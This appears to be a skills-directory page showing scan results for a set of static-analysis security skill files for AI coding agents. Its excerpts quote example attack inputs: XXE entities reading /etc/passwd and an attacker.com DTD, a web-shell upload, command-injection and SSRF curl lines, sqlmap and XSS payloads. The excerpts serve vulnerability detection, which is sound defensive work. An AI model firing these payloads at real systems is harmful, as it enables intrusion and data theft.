- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers) - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xx - Network accessline 31
- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;` - Network accessline 32
- XInclude injection when XInclude processing is enabled - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled serve - Network accessline 33
- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Network accessline 51
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 52
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 53
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 54
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 61
SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 62
spf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 63
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 64
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 165
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 166
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 167
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 168
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 169
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 185
// SECURE: disable external entities SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 186
SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 187
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 188
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 189
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 485
> - **Dynamic Test**: > ``` > [curl command or payload to confirm the finding. - Network accessline 486
> ``` > [curl command or payload to confirm the finding. > Show the exact endpoint, Content-Type header, and XXE payload. - Network accessline 487
> [curl command or payload to confirm the finding. - Network accessline 488
> Show the exact endpoint, Content-Type header, and XXE payload. > Example: > curl -X POST https://app.example.com/api/import \ - Network accessline 489
> Example: > curl -X POST https://app.example.com/api/import \ > -H "Content-Type: application/xml" \ - Network accessline 490
> curl -X POST https://app.example.com/api/import \
sast-files/.claude/skills/sast-businesslogic/SKILL.md
- Network accessline 296
> - **Dynamic Test**: > ``` > [Step-by-step instructions or curl commands to confirm the finding on the live app. - Network accessline 297
> ``` > [Step-by-step instructions or curl commands to confirm the finding on the live app. > Include exact HTTP method, endpoint, headers, and request body. - Network accessline 298
> [Step-by-step instructions or curl commands to confirm the finding on the live app. - Network accessline 312
> - **Dynamic Test**: > ``` > [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] - Network accessline 313
> ``` > [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] > ``` - Network accessline 314
> [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]
sast-files/.claude/skills/sast-fileupload/SKILL.md
- Network accessline 108
# VULNERABLE: content-type only check (trivially bypassed with curl -H) - Network accessline 528
> - **Dynamic Test**: > ``` > [curl or HTTP request demonstrating the bypass. - Network accessline 529
> ``` > [curl or HTTP request demonstrating the bypass. > Example: curl -X POST https://app.example.com/upload \ - Network accessline 530
> [curl or HTTP request demonstrating the bypass. - Network accessline 531
> Example: curl -X POST https://app.example.com/upload \ - Network accessline 532
> -F "file=@shell.php;type=image/png" \ > then access: https://app.example.com/static/uploads/shell.php?cmd=id] > ``` - Network accessline 533
> then access: https://app.example.com/static/uploads/shell.php?cmd=id]
sast-files/.claude/skills/sast-graphql/SKILL.md
- Network accessline 84
const fragment = req.body.fragment; const query = `query { me { ${fragment} } }`; const data = await fetch('https://api.internal/graphql', { - Network accessline 85
const query = `query { me { ${fragment} } }`; const data = await fetch('https://api.internal/graphql', { method: 'POST', - Network accessline 86
const data = await fetch('https://api.internal/graphql', { - Network accessline 93
const PROXY_QUERY = `query ProxyMe { me { id name email } }`; app.post('/proxy', async (req, res) => { const data = await fetch('https://api.internal/graphql', { - Network accessline 94
app.post('/proxy', async (req, res) => { const data = await fetch('https://api.internal/graphql', { method: 'POST', - Network accessline 95
const data = await fetch('https://api.internal/graphql', { - Network accessline 293
> - **Dynamic Test**: > ``` > [curl or in-browser GraphQL request showing injected fragment/directive/field] - Network accessline 294
> ``` > [curl or in-browser GraphQL request showing injected fragment/directive/field] > ``` - Network accessline 295
> [curl or in-browser GraphQL request showing injected fragment/directive/field]
sast-files/.claude/skills/sast-hardcodedsecrets/SKILL.md
- Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 132
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 405
[Credential-related source omitted]
sast-files/.claude/skills/sast-idor/SKILL.md
- Network accessline 393
> - **Dynamic Test**: > ``` > [curl command or step-by-step instructions to confirm this finding on the live app. - Network accessline 394
> ``` > [curl command or step-by-step instructions to confirm this finding on the live app. > Include the exact endpoint, HTTP method, headers, and what to look for in the response. - Network accessline 395
> [curl command or step-by-step instructions to confirm this finding on the live app. - Network accessline 407
> - **Dynamic Test**: > ``` > [curl command or step-by-step instructions to confirm this finding on the live app. - Network accessline 408
> ``` > [curl command or step-by-step instructions to confirm this finding on the live app. > Include the exact endpoint, HTTP method, headers, and what to look for in the response. - Network accessline 409
> [curl command or step-by-step instructions to confirm this finding on the live app.
sast-files/.claude/skills/sast-jwt/SKILL.md
- Network accessline 99
token, secret, algorithms=["HS256"], options={"require": ["exp", "iss", "aud"]}, issuer="https://myapp.example.com", - Network accessline 100
options={"require": ["exp", "iss", "aud"]}, issuer="https://myapp.example.com", audience="myapp-api" - Network accessline 101
issuer="https://myapp.example.com", - Network accessline 114
# Only fetch keys from a known, trusted JWKS endpoint ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"} - Network accessline 115
ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"} - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted]
sast-files/.claude/skills/sast-missingauth/SKILL.md
- Network accessline 501
> - **Dynamic Test**: > ``` > [curl command or step-by-step to confirm on the live app. - Network accessline 502
> ``` > [curl command or step-by-step to confirm on the live app. > For missing auth: show the request with NO token succeeding. - Network accessline 503
> [curl command or step-by-step to confirm on the live app. - Network accessline 516
> - **Dynamic Test**: > ``` > [curl command or step-by-step instructions to confirm this finding on the live app.] - Network accessline 517
> ``` > [curl command or step-by-step instructions to confirm this finding on the live app.] > ``` - Network accessline 518
> [curl command or step-by-step instructions to confirm this finding on the live app.]
sast-files/.claude/skills/sast-pathtraversal/SKILL.md
- Network accessline 467
> - **Dynamic Test**: > ``` > [curl command or payload to confirm; show traversal and encoded variants as appropriate] - Network accessline 468
> ``` > [curl command or payload to confirm; show traversal and encoded variants as appropriate] > ``` - Network accessline 469
> [curl command or payload to confirm; show traversal and encoded variants as appropriate]
sast-files/.claude/skills/sast-rce/SKILL.md
- Dangerous shell operationline 34
- Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings - Dangerous shell operationline 135
exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => { - Dangerous shell operationline 209
result = eval(expr) # attacker can run __import__('os').system('id') - Dangerous shell operationline 216
exec(code) # full arbitrary code execution - Dangerous shell operationline 234
const result = eval(formula); // RCE: process.exit(), require('child_process')... - Possible obfuscationline 273
data = base64.b64decode(session_cookie) - Possible obfuscationline 281
user = json.loads(base64.b64decode(session_cookie)) - Dangerous shell operationline 407
> - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string - Dangerous shell operationline 411
> - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable - Dangerous shell operationline 433
> - `eval(var)` — flag if argument is a variable - Dangerous shell operationline 434
> - `exec(var)` — flag if argument is a variable - Dangerous shell operationline 435
> - `compile(var, ...)` followed by `exec()` — flag - Dangerous shell operationline 439
> - `eval(var)` — flag if argument is a variable - Dangerous shell operationline 446
> - `eval(var)` — always flag if variable in argument - Dangerous shell operationline 453
> - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable - Network accessline 629
> - **Dynamic Test**: > ``` > [curl command or payload to confirm the finding. - Network accessline 630
> ``` > [curl command or payload to confirm the finding. > Show the exact parameter, payload, and what to look for in the response. - Network accessline 631
> [curl command or payload to confirm the finding. - Network accessline 632
> Show the exact parameter, payload, and what to look for in the response. > Examples: > curl "https://app.example.com/ping?host=127.0.0.1;id" - Network accessline 633
> Examples: > curl "https://app.example.com/ping?host=127.0.0.1;id" > curl "https://app.example.com/ping?host=127.0.0.1%3Bid" - Network accessline 634
> curl "https://app.example.com/ping?host=127.0.0.1;id" - Network accessline 635
> curl "https://app.example.com/ping?host=127.0.0.1%3Bid" - Dangerous shell operationline 707
- **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is pos - Dangerous shell operationline 708
- **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable. - Dangerous shell operationline 711
- Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).
sast-files/.claude/skills/sast-report/SKILL.md
- Network accessline 160
[curl command or step-by-step test instructions from original finding]
sast-files/.claude/skills/sast-sqli/SKILL.md
- Network accessline 247
function getUser($id) { $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id); return $stmt->fetch(); - Network accessline 248
$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id); return $stmt->fetch(); } - Network accessline 249
return $stmt->fetch(); - Network accessline 254
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute(['id' => $id]); return $stmt->fetch(); - Network accessline 255
$stmt->execute(['id' => $id]); return $stmt->fetch(); } - Network accessline 256
return $stmt->fetch(); - Network accessline 455
> - **Dynamic Test**: > ``` > [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. - Network accessline 456
> ``` > [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. > Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs] - Network accessline 457
> [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. - Network accessline 458
> Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]
sast-files/.claude/skills/sast-ssrf/SKILL.md
- Network accessline 28
- HTTP client calls where the URL or host is built from user input: `requests.get(user_url)` - Network accessline 29
- Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)` - Network accessline 53
if parsed.hostname not in ALLOWED_HOSTS: raise ValueError("Destination not allowed") requests.get(user_url) - Network accessline 55
requests.get(user_url) - Network accessline 60
ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"] - Network accessline 61
if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES): abort(400) requests.get(user_url) - Network accessline 63
requests.get(user_url) - Network accessline 68
# Destination fully hardcoded — no user input involved response = requests.get("https://api.thirdparty.com/data") - Network accessline 69
response = requests.get("https://api.thirdparty.com/data") - Network accessline 81
# VULNERABLE: URL fully controlled by user @app.route('/fetch') def fetch(): - Network accessline 82
@app.route('/fetch') def fetch(): url = request.args.get('url') - Network accessline 83
def fetch(): - Network accessline 84
url = request.args.get('url') response = requests.get(url) return response.text - Network accessline 85
response = requests.get(url) - Network accessline 89
ALLOWED = {"api.example.com"} @app.route('/fetch') def fetch(): - Network accessline 90
@app.route('/fetch') def fetch(): url = request.args.get('url') - Network accessline 91
def fetch(): - Network accessline 93
if urlparse(url).hostname not in ALLOWED: abort(403) response = requests.get(url) - Network accessline 94
abort(403) response = requests.get(url) return response.text - Network accessline 95
response = requests.get(url) - Network accessline 103
def preview(request): target = request.GET.get('target') data = urllib.request.urlopen(target).read() - Network accessline 104
target = request.GET.get('target') data = urllib.request.urlopen(target).read() return HttpResponse(data) - Network accessline 105
data = urllib.request.urlopen(target).read() - Network accessline 112
if parsed.scheme != 'https' or parsed.hostname != 'media.example.com': return HttpResponse(status=400) data = urllib.request.urlopen(target).read() - Network accessline 113
return HttpResponse(status=400) data = urllib.request.urlopen(target).read() return HttpResponse(data) - Network accessline 114
data = urllib.request.urlopen(target).read() - Network accessline 122
app.post('/webhook/test', async (req, res) => { const { url } = req.body; const result = await fetch(url); - Network accessline 123
const { url } = req.body; const result = await fetch(url); res.json(await result.json()); - Network accessline 124
const result = await fetch(url); - Network accessline 132
const { hostname } = new URL(url); if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden'); const result = await fetch(url); - Network accessline 133
if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden'); const result = await fetch(url); res.json(await result.json()); - Network accessline 134
const result = await fetch(url); - Network accessline 172
// VULNERABLE: user-supplied URL piped into curl function fetch_preview($url) { - Network accessline 183
// SECURE: validate URL against allowlist before curl function fetch_preview($url) { - Network accessline 184
function fetch_preview($url) { $allowed = ['https://cdn.example.com/']; foreach ($allowed as $prefix) { - Network accessline 185
$allowed = ['https://cdn.example.com/']; - Network accessline 187
if (strpos($url, $prefix) === 0) { // ... proceed with curl } - Network accessline 188
// ... proceed with curl } } - Network accessline 213
// VULNERABLE: OkHttp with user-controlled host public String fetch(String host, String path) { - Network accessline 214
public String fetch(String host, String path) { - Network accessline 275
> > 1. **Python HTTP clients**: > - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` - Network accessline 276
> 1. **Python HTTP clients**: > - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` > - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)` - Network accessline 277
> - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` - Network accessline 278
> - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)` - Network accessline 279
> - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)` - Network accessline 280
> - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)` - Network accessline 281
> > 2. **Python socket / DNS**: > - `socket.connect((host, port))`, `socket.create_connection((host, port))` - Network accessline 282
> 2. **Python socket / DNS**: > - `socket.connect((host, port))`, `socket.create_connection((host, port))` > - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)` - Network accessline 283
> - `socket.connect((host, port))`, `socket.create_connection((host, port))` - Network accessline 285
> > 3. **Python file-fetching with remote schemes**: > - `urllib.request.urlopen(url)` where url may be http/https/ftp - Network accessline 286
> 3. **Python file-fetching with remote schemes**: > - `urllib.request.urlopen(url)` where url may be http/https/ftp > - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote) - Network accessline 287
> - `urllib.request.urlopen(url)` where url may be http/https/ftp - Network accessline 289
> > 4. **Node.js / JavaScript HTTP clients**: > - `fetch(url)`, `node-fetch(url)` - Network accessline 290
> 4. **Node.js / JavaScript HTTP clients**: > - `fetch(url)`, `node-fetch(url)` > - `axios.get(url)`, `axios.post(url)`, `axios.request({url})` - Network accessline 291
> - `fetch(url)`, `node-fetch(url)` - Network accessline 333
> > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): > - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` - Network accessline 334
> 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): > - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` > - `os.system("curl " + url)`, `exec("wget " + url)` - Network accessline 335
> - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` - Dangerous shell operationline 336
> - `os.system("curl " + url)`, `exec("wget " + url)` - Network accessline 336
> - `os.system("curl " + url)`, `exec("wget " + url)` - Network accessline 338
> > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` - Network accessline 339
> **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` > - Internal loopback connections to `l - Network accessline 340
> - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` - Network accessline 354
> - **File**: `path/to/file.ext` (lines X-Y) > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] - Network accessline 355
> - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] > - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.] - Network accessline 356
> - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] - Network accessline 420
> > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: > - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inje - Network accessline 421
> 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: > - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inject - Network accessline 422
> - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client - Network accessline 432
> **For each call site, also check for mitigations**: > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effec - Network accessline 433
> - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable. > - **Scheme- - Network accessline 434
> - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable. - Network accessline 456
> - **File**: `path/to/file.ext` (lines X-Y) > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] - Network accessline 457
> - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → - Network accessline 458
> - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] - Network accessline 459
> - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"] - Network accessline 463
> - **Dynamic Test**: > ``` > [curl command or payload to confirm the finding. - Network accessline 464
> ``` > [curl command or payload to confirm the finding. > Show the parameter, payload, and what to look for. - Network accessline 465
> [curl command or payload to confirm the finding. - Network accessline 466
> Show the parameter, payload, and what to look for. > Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" > or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5 - Network accessline 467
> Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" - Network accessline 468
> or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"] - Network accessline 538
- **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, part - Network accessline 539
- **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF. - * - Network accessline 540
- **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.
sast-files/.claude/skills/sast-ssti/SKILL.md
- Network accessline 40
- `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java) - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP) - `$smarty->fetch("string:" . user_input)` — Smarty (PHP) - Network accessline 41
- `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP) - `$smarty->fetch("string:" . user_input)` — Smarty (PHP) - `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby) - Network accessline 42
- `$smarty->fetch("string:" . user_input)` — Smarty (PHP) - Network accessline 273
// VULNERABLE: user-controlled template string via fetch("string:...") - Network accessline 274
$template = $_GET['tmpl']; $smarty->fetch("string:" . $template); // Payload: {php}echo shell_exec('id');{/php} - Network accessline 275
$smarty->fetch("string:" . $template); - Network accessline 380
> > 16. **PHP — Smarty**: > - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` - Network accessline 381
> 16. **PHP — Smarty**: > - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` > - `$smarty->fetch($var)` where var may contain a "string:" prefix - Network accessline 382
> - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` - Network accessline 383
> - `$smarty->fetch($var)` where var may contain a "string:" prefix
sast-files/.claude/skills/sast-xss/SKILL.md
- Dangerous shell operationline 60
- `eval(var)` - Dangerous shell operationline 270
eval(event.data); - Dangerous shell operationline 400
> - `eval(var)` - Network accessline 538
> - **Dynamic Test**: > ``` > [curl command or browser payload to confirm the finding. - Network accessline 539
> ``` > [curl command or browser payload to confirm the finding. > Show the exact parameter, payload, and what to observe. - Network accessline 540
> [curl command or browser payload to confirm the finding. - Network accessline 541
> Show the exact parameter, payload, and what to observe. > Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" > Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box] - Network accessline 542
> Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" - Network accessline 543
> Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]
sast-files/.claude/skills/sast-xxe/SKILL.md
- Network accessline 28
- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">` - Network accessline 29
- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">` - Network accessline 30
- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers) - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xx - Network accessline 31
- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;` - Network accessline 32
- XInclude injection when XInclude processing is enabled - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled serve - Network accessline 33
- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Network accessline 51
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 52
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 53
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 54
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 61
SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 62
spf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 63
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 64
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 165
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 166
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 167
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 168
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 169
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 185
// SECURE: disable external entities SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 186
SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 187
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 188
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 189
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 485
> - **Dynamic Test**: > ``` > [curl command or payload to confirm the finding. - Network accessline 486
> ``` > [curl command or payload to confirm the finding. > Show the exact endpoint, Content-Type header, and XXE payload. - Network accessline 487
> [curl command or payload to confirm the finding. - Network accessline 488
> Show the exact endpoint, Content-Type header, and XXE payload. > Example: > curl -X POST https://app.example.com/api/import \ - Network accessline 489
> Example: > curl -X POST https://app.example.com/api/import \ > -H "Content-Type: application/xml" \ - Network accessline 490
> curl -X POST https://app.example.com/api/import \
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
No combined signals at this commit.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest sast-files/AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
Add this badge to your README
It updates every night and links to this page.
[](https://hotskills.dev/skill/utkusen-sast-skills/)